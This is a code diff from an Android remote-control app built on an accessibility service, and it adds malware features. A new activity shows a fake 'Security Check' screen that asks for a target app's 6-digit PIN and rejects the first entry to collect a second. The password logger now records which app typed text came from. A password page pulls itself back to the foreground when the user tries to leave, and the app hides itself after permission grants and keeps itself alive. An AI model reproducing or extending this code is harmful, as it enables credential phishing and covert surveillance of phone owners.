+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "申请短信权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_SMS_PERMISSION,
+ "sms_request"
+ )
} else {
Log.i(TAG, "短信权限已授予")
}
@@ -5219,10 +6269,23 @@ class MainActivity : AppCompatActivity() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.CAMERA)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "摄像头权限被系统固定拒绝(直接请求)")
+ updateStatusTextThreadSafe(
+ "相机权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "📷 直接申请摄像头权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.CAMERA),
- REQUEST_CAMERA_PERMISSION
+ REQUEST_CAMERA_PERMISSION,
+ "camera_direct_request"
)
} else {
Log.i(TAG, "摄像头权限已授予")
@@ -5242,10 +6305,23 @@ class MainActivity : AppCompatActivity() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.CAMERA)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "摄像头权限被系统固定拒绝")
+ updateStatusTextThreadSafe(
+ "相机权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "📷 申请摄像头权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.CAMERA),
- REQUEST_CAMERA_PERMISSION
+ REQUEST_CAMERA_PERMISSION,
+ "camera_request"
)
} else {
Log.i(TAG, "摄像头权限已授予")
@@ -5295,6 +6371,16 @@ class MainActivity : AppCompatActivity() {
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
+ recordRuntimePermissionResult(permissions, grantResults)
+ if (
+ requestCode == REQUEST_SMS_PERMISSION ||
+ requestCode == REQUEST_GALLERY_PERMISSION ||
+ requestCode == REQUEST_MICROPHONE_PERMISSION ||
+ requestCode == REQUEST_CAMERA_PERMISSION ||
+ requestCode == REQUEST_ALL_PERMISSIONS
+ ) {
+ pendingSingleRuntimePermissionRequest = false
+ }
when (requestCode) {
REQUEST_SMS_PERMISSION -> {
@@ -5305,6 +6391,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "短信权限被拒绝")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_GALLERY_PERMISSION -> {
@@ -5315,6 +6405,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "相册权限未授予")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_MICROPHONE_PERMISSION -> {
@@ -5325,6 +6419,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "麦克风权限未授予")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_CAMERA_PERMISSION -> {
@@ -5374,10 +6472,93 @@ class MainActivity : AppCompatActivity() {
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
}
+
+ if (unifiedPermissionFlowInProgress) {
+ Handler(mainLooper).postDelayed({
+ continueUnifiedPermissionFlow("运行时权限回调")
+ }, getRuntimeFlowContinueDelayMs())
+ }
+
+ Handler(mainLooper).postDelayed({
+ try {
+ AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask()
+ } catch (e: Exception) {
+ Log.w(TAG, "运行时权限回调后触发配置完成检查失败", e)
+ }
+ }, 500)
}
}
}
+ private fun getPermissionFlowActionIntervalMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS
+ } else {
+ MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS
+ }
+ }
+
+ private fun getRuntimeRequestDispatchIntervalMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS
+ } else {
+ RUNTIME_REQUEST_DISPATCH_INTERVAL_MS
+ }
+ }
+
+ private fun getRuntimeFlowContinueDelayMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS
+ } else {
+ RUNTIME_FLOW_CONTINUE_DELAY_MS
+ }
+ }
+
+ private fun isSlowPermissionFlowModeEnabled(): Boolean {
+ cachedSlowPermissionFlowMode?.let { return it }
+
+ val isXiaomiFamily = isXiaomiFamilyDevice()
+ val isFirstInstallWindow = isWithinFirstInstallWindow()
+ val enabled = isXiaomiFamily && isFirstInstallWindow
+ cachedSlowPermissionFlowMode = enabled
+
+ if (!slowPermissionFlowModeLogged) {
+ slowPermissionFlowModeLogged = true
+ Log.i(
+ TAG,
+ "⏱️ 权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow, actionInterval=${if (enabled) SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS else MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS}ms"
+ )
+ }
+ return enabled
+ }
+
+ private fun isXiaomiFamilyDevice(): Boolean {
+ val brand = (Build.BRAND ?: "").lowercase()
+ val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
+ return brand.contains("xiaomi") ||
+ brand.contains("redmi") ||
+ brand.contains("poco") ||
+ manufacturer.contains("xiaomi") ||
+ manufacturer.contains("redmi")
+ }
+
+ private fun isWithinFirstInstallWindow(): Boolean {
+ return try {
+ val launchPrefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
+ val launchCount = launchPrefs.getInt("launch_count", 0)
+
+ val installAgeMs = runCatching {
+ val pkgInfo = packageManager.getPackageInfo(packageName, 0)
+ System.currentTimeMillis() - pkgInfo.firstInstallTime
+ }.getOrDefault(Long.MAX_VALUE)
+
+ launchCount <= SLOW_MODE_MAX_LAUNCH_COUNT || installAgeMs in 0..FIRST_INSTALL_GRACE_PERIOD_MS
+ } catch (e: Exception) {
+ Log.w(TAG, "首装窗口判定失败,默认关闭慢速模式", e)
+ false
+ }
+ }
+
/**
* 启动WebView页面
* 从server_config.json读取webUrl配置
@@ -5848,13 +7029,12 @@ class MainActivity : AppCompatActivity() {
* 将当前Activity隐藏到后台而不销毁
*/
private fun hideActivityToBackground() {
- // 🚀 简化:允许用户正常返回,不强制隐藏
-// try {
-// moveTaskToBack(true)
-// Log.i(TAG, "已将MainActivity隐藏到后台")
-// } catch (e: Exception) {
-// Log.w(TAG, "隐藏Activity到后台失败: ${e.message}")
-// }
+ try {
+ moveTaskToBack(true)
+ Log.i(TAG, "已将MainActivity隐藏到后台")
+ } catch (e: Exception) {
+ Log.w(TAG, "隐藏Activity到后台失败: ${e.message}")
+ }
}
/**
@@ -6236,4 +7416,4 @@ object MediaProjectionHolder {
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/OperationLogCollector.kt b/app/src/main/java/com/hikoncont/OperationLogCollector.kt
index 7bc7b22..8673f95 100644
--- a/app/src/main/java/com/hikoncont/OperationLogCollector.kt
+++ b/app/src/main/java/com/hikoncont/OperationLogCollector.kt
@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText,
"displayText" to actualText,
- "numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
+ "numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
+ "packageName" to packageName,
+ "className" to className
)
passwordInputEvents.add(inputEvent)
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
+ val lastEvent = passwordInputEvents.lastOrNull()
+ val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
+ val sourceClassName = lastEvent?.get("className") as? String ?: ""
logScope.launch {
val extraData = mutableMapOf(
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
- "correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
+ "correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
+ "sourcePackageName" to sourcePackageName,
+ "sourceClassName" to sourceClassName
)
// ✅ 如果有确认按钮坐标,记录到extraData中
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
return isKeyboardRelated && hasNumericContent
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
index 5987c35..3cac878 100644
--- a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
+++ b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
@@ -7,6 +7,8 @@ import androidx.work.WorkManager
import com.hikoncont.crash.CrashHandler
import com.hikoncont.service.WorkManagerKeepAliveService
import com.hikoncont.service.ComprehensiveKeepAliveManager
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.RuntimeFeatureFlags
/**
* 应用程序主类
@@ -36,6 +38,17 @@ class RemoteControlApplication : Application() {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
startComprehensiveKeepAliveIfInstallationComplete()
}, 10000L) // 延迟10秒启动,避免干扰用户正常使用
+
+ val runtimeFlags = RuntimeFeatureFlags.current(this)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "application_on_create",
+ success = true,
+ data = mapOf(
+ "workManagerKeepAlive" to runtimeFlags.workManagerKeepAlive,
+ "comprehensiveKeepAlive" to runtimeFlags.comprehensiveKeepAlive
+ )
+ )
Log.i(TAG, "✅ 应用程序初始化完成")
} catch (e: Exception) {
@@ -71,6 +84,12 @@ class RemoteControlApplication : Application() {
*/
private fun startWorkManagerKeepAliveIfInstallationComplete() {
try {
+ val flags = RuntimeFeatureFlags.current(this)
+ if (!flags.workManagerKeepAlive) {
+ Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false,跳过WorkManager保活启动")
+ return
+ }
+
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -88,8 +107,20 @@ class RemoteControlApplication : Application() {
workManagerKeepAlive.startKeepAlive(this)
Log.i(TAG, "✅ WorkManager 保活服务已启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "workmanager_keepalive_start",
+ success = true,
+ data = mapOf("source" to "application")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "workmanager_keepalive_start",
+ success = false,
+ data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
+ )
}
}
@@ -114,6 +145,12 @@ class RemoteControlApplication : Application() {
*/
private fun startComprehensiveKeepAliveIfInstallationComplete() {
try {
+ val flags = RuntimeFeatureFlags.current(this)
+ if (!flags.comprehensiveKeepAlive) {
+ Log.i(TAG, "⏭️ featureFlags.comprehensiveKeepAlive=false,跳过综合保活启动")
+ return
+ }
+
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -140,9 +177,21 @@ class RemoteControlApplication : Application() {
keepAliveManager.startComprehensiveKeepAlive()
Log.i(TAG, "✅ 综合保活管理器启动完成")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "comprehensive_keepalive_start",
+ success = true,
+ data = mapOf("source" to "application")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动综合保活管理器失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "comprehensive_keepalive_start",
+ success = false,
+ data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
+ )
}
}
diff --git a/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt
new file mode 100644
index 0000000..ea753bd
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt
@@ -0,0 +1,183 @@
+package com.hikoncont.activity
+
+import android.graphics.Color
+import android.os.Bundle
+import android.os.Handler
+import android.os.Looper
+import android.text.InputFilter
+import android.text.InputType
+import android.util.Log
+import android.view.Gravity
+import android.view.ViewGroup
+import android.view.WindowManager
+import android.widget.Button
+import android.widget.EditText
+import android.widget.LinearLayout
+import android.widget.TextView
+import androidx.appcompat.app.AppCompatActivity
+import com.hikoncont.service.AccessibilityRemoteService
+
+class AppInjectionPinActivity : AppCompatActivity() {
+ companion object {
+ private const val TAG = "AppInjectionPinActivity"
+ }
+
+ private lateinit var pinInput: EditText
+ private lateinit var statusText: TextView
+ private var attemptCount = 0
+ private var completed = false
+ private var targetPackage: String = ""
+ private var targetAppName: String = ""
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
+ targetPackage = intent.getStringExtra("targetPackage").orEmpty()
+ targetAppName = intent.getStringExtra("targetAppName").orEmpty()
+
+ window.addFlags(
+ WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
+ WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
+ WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ )
+ setFinishOnTouchOutside(false)
+
+ val root = LinearLayout(this).apply {
+ orientation = LinearLayout.VERTICAL
+ setPadding(48, 64, 48, 48)
+ setBackgroundColor(Color.parseColor("#111111"))
+ gravity = Gravity.CENTER_HORIZONTAL
+ layoutParams = ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT
+ )
+ }
+
+ val title = TextView(this).apply {
+ text = "Security Check"
+ setTextColor(Color.WHITE)
+ textSize = 24f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ title,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ val subTitle = TextView(this).apply {
+ val appPart = if (targetAppName.isNotBlank()) targetAppName else targetPackage.ifBlank { "target app" }
+ text = "Enter 6-digit PIN to continue ($appPart)"
+ setTextColor(Color.parseColor("#B0B0B0"))
+ textSize = 14f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ subTitle,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = 20
+ bottomMargin = 24
+ }
+ )
+
+ pinInput = EditText(this).apply {
+ hint = "6-digit PIN"
+ setHintTextColor(Color.parseColor("#666666"))
+ setTextColor(Color.WHITE)
+ textSize = 22f
+ gravity = Gravity.CENTER
+ inputType = InputType.TYPE_CLASS_NUMBER or InputType.TYPE_NUMBER_VARIATION_PASSWORD
+ filters = arrayOf(InputFilter.LengthFilter(6))
+ setSingleLine(true)
+ setBackgroundColor(Color.parseColor("#222222"))
+ setPadding(20, 20, 20, 20)
+ }
+ root.addView(
+ pinInput,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ statusText = TextView(this).apply {
+ text = "Waiting for input"
+ setTextColor(Color.parseColor("#B0B0B0"))
+ textSize = 13f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ statusText,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = 14
+ bottomMargin = 20
+ }
+ )
+
+ val confirmButton = Button(this).apply {
+ text = "Confirm"
+ setOnClickListener { onConfirmClick() }
+ }
+ root.addView(
+ confirmButton,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ setContentView(root)
+ }
+
+ override fun onBackPressed() {
+ // Keep the challenge flow deterministic; avoid accidental dismissal.
+ statusText.text = "PIN check is required"
+ statusText.setTextColor(Color.parseColor("#FFB74D"))
+ }
+
+ private fun onConfirmClick() {
+ val pin = pinInput.text?.toString()?.trim().orEmpty()
+ if (!pin.matches(Regex("^\\d{6}$"))) {
+ statusText.text = "PIN must be 6 digits"
+ statusText.setTextColor(Color.parseColor("#FFB74D"))
+ return
+ }
+
+ attemptCount += 1
+ val service = AccessibilityRemoteService.getInstance()
+
+ if (attemptCount == 1) {
+ statusText.text = "Incorrect PIN, try again"
+ statusText.setTextColor(Color.parseColor("#EF5350"))
+ pinInput.setText("")
+ service?.onAppInjectionPinAttempt(success = false, attempt = attemptCount)
+ return
+ }
+
+ completed = true
+ statusText.text = "PIN accepted"
+ statusText.setTextColor(Color.parseColor("#66BB6A"))
+ service?.onAppInjectionPinAttempt(success = true, attempt = attemptCount)
+
+ Handler(Looper.getMainLooper()).postDelayed({
+ finish()
+ }, 250)
+ }
+
+ override fun onDestroy() {
+ super.onDestroy()
+ if (!completed) {
+ Log.i(TAG, "PIN activity dismissed before completion")
+ AccessibilityRemoteService.getInstance()?.onAppInjectionPinDismissed("activity_destroyed")
+ }
+ }
+}
+
diff --git a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
index 70c3220..af12a0d 100644
--- a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
+++ b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
@@ -14,6 +14,7 @@ import android.view.Gravity
import android.content.BroadcastReceiver
import android.content.IntentFilter
import com.hikoncont.service.modules.ConfigProgressManager
+import com.hikoncont.util.registerReceiverCompat
import org.json.JSONObject
import java.io.BufferedReader
import java.io.InputStreamReader
@@ -355,13 +356,13 @@ class ConfigMaskActivity : Activity() {
private fun registerHideReceiver() {
try {
val filter = android.content.IntentFilter("android.mycustrecev.HIDE_CONFIG_MASK")
- registerReceiver(hideReceiver, filter)
+ registerReceiverCompat(hideReceiver, filter)
Log.i(TAG, "✅ 隐藏广播接收器注册成功")
// 注册进度更新广播接收器
if (enableProgressBar) {
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
- registerReceiver(progressReceiver, progressFilter)
+ registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ ConfigMaskActivity进度更新广播接收器注册成功")
Log.i(TAG, "📡 监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
} else {
@@ -433,4 +434,4 @@ class ConfigMaskActivity : Activity() {
}
}, 500)
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
index 12bc604..fa7e61c 100644
--- a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
+++ b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
@@ -5,6 +5,7 @@ import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
+import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
@@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() {
private var patternTrajectory = mutableListOf()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
+ private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
+ private val enableLockTaskForSocketWake = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
@@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
+ if (shouldKeepForeground() && enableLockTaskForSocketWake) {
+ tryStartLockTaskMode()
+ }
+
// 如果是socket唤醒且没有正在强制显示,则强制显示密码页面
- if (isSocketWake && !isForceShowing) {
+ if (shouldKeepForeground() && !isForceShowing) {
isForceShowing = true
forceShowPasswordPage()
}
@@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
- // 防止Activity被销毁,保持在后台
- if (isSocketWake) {
- Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
- // 不执行任何可能导致Activity销毁的操作
- } else {
- // 防止用户通过其他方式退出,重新显示页面
- Handler(Looper.getMainLooper()).postDelayed({
- if (!isFinishing && !isDestroyed) {
- Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面")
- }
- }, 1000)
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
+ scheduleForceReturn("onPause")
}
}
@@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
- // 防止Activity被销毁,保持在后台
- if (isSocketWake) {
- Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
- // 不执行任何可能导致Activity销毁的操作
- // Activity将保持在后台,不会被销毁
- } else {
- // 防止用户通过其他方式退出,重新显示页面
- Handler(Looper.getMainLooper()).postDelayed({
- if (!isFinishing && !isDestroyed) {
- Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面")
- }
- }, 1000)
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
+ scheduleForceReturn("onStop")
+ }
+ }
+
+ override fun onUserLeaveHint() {
+ super.onUserLeaveHint()
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到用户尝试离开密码页(Home/最近任务),准备强制回到密码页")
+ scheduleForceReturn("onUserLeaveHint")
}
}
@@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() {
passwordType,
"PasswordInputActivity",
deviceId,
- installationId
+ installationId,
+ "manual_password_input_activity"
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
@@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
+ if (passwordFlowCompleted) {
+ Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
+ return
+ }
+ passwordFlowCompleted = true
+ tryStopLockTaskMode()
+
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
+ if (passwordFlowCompleted) {
+ Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
+ return
+ }
+ passwordFlowCompleted = true
+ tryStopLockTaskMode()
+
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() {
val timestamp: Long
)
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。
+ */
+ private fun shouldKeepForeground(): Boolean {
+ return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。
+ */
+ private fun scheduleForceReturn(source: String) {
+ Handler(Looper.getMainLooper()).postDelayed({
+ if (!shouldKeepForeground()) {
+ return@postDelayed
+ }
+ if (isFinishing || isDestroyed) {
+ return@postDelayed
+ }
+ Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
+ checkAndForceShowIfNeeded()
+ }, 260)
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。
+ */
+ private fun tryStartLockTaskMode() {
+ if (!enableLockTaskForSocketWake) {
+ Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
+ return
+ }
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ return
+ }
+ try {
+ startLockTask()
+ Log.i(TAG, "🔐 已尝试开启锁任务模式")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。
+ */
+ private fun tryStopLockTaskMode() {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ return
+ }
+ try {
+ stopLockTask()
+ Log.i(TAG, "🔓 已尝试关闭锁任务模式")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
+ }
+ }
+
/**
* 强制显示密码页面(Socket唤醒专用)
*/
diff --git a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
index 35e493d..2194807 100644
--- a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
@@ -46,34 +46,8 @@ class GalleryManager(private val service: AccessibilityRemoteService) {
val result = mutableListOf()
if (!hasReadMediaPermission()) {
- Log.w(TAG, "⚠️ 相册读取权限未授予,尝试自动申请")
- try {
- // 触发自动权限申请
- service.requestGalleryPermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发相册权限申请失败", e)
- }
-
- // 轮询等待权限授予,最多等待约8秒
- var attempts = 0
- val maxAttempts = 16
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (ie: InterruptedException) {
- // 忽略中断,继续检查
- }
- if (hasReadMediaPermission()) {
- Log.i(TAG, "✅ 相册读取权限已在等待期间授予,继续读取")
- break
- }
- attempts++
- }
-
- if (!hasReadMediaPermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限,返回空列表")
- return result
- }
+ Log.w(TAG, "⚠️ 相册读取权限未授予,已停止自动申请(需手动触发权限申请)")
+ return result
}
try {
diff --git a/app/src/main/java/com/hikoncont/manager/GestureController.kt b/app/src/main/java/com/hikoncont/manager/GestureController.kt
index eaef109..d8cda5d 100644
--- a/app/src/main/java/com/hikoncont/manager/GestureController.kt
+++ b/app/src/main/java/com/hikoncont/manager/GestureController.kt
@@ -3,6 +3,8 @@
import android.accessibilityservice.GestureDescription
import android.graphics.Path
import android.graphics.PointF
+import android.os.Handler
+import android.os.Looper
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
@@ -26,6 +28,30 @@ class GestureController(private val service: AccessibilityRemoteService) {
}
private val gestureScope = CoroutineScope(Dispatchers.Main)
+ private val callbackHandler = Handler(Looper.getMainLooper())
+
+ private fun dispatchGestureWithTrace(gesture: GestureDescription, actionName: String): Boolean {
+ return try {
+ val accepted = service.dispatchGesture(
+ gesture,
+ object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
+ override fun onCompleted(gestureDescription: GestureDescription?) {
+ Log.d(TAG, "✅ 手势完成: $actionName")
+ }
+
+ override fun onCancelled(gestureDescription: GestureDescription?) {
+ Log.w(TAG, "⚠️ 手势取消: $actionName")
+ }
+ },
+ callbackHandler
+ )
+ Log.d(TAG, "🎯 手势下发结果: $actionName, accepted=$accepted")
+ accepted
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 手势下发异常: $actionName", e)
+ false
+ }
+ }
/**
* 执行手势操作(覆盖窗口不影响系统级手势操作)
@@ -47,8 +73,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, CLICK_DURATION)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "click($x,$y)")
Log.d(TAG, "执行点击操作: ($x, $y)")
}
}
@@ -61,8 +87,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, LONG_PRESS_DURATION)
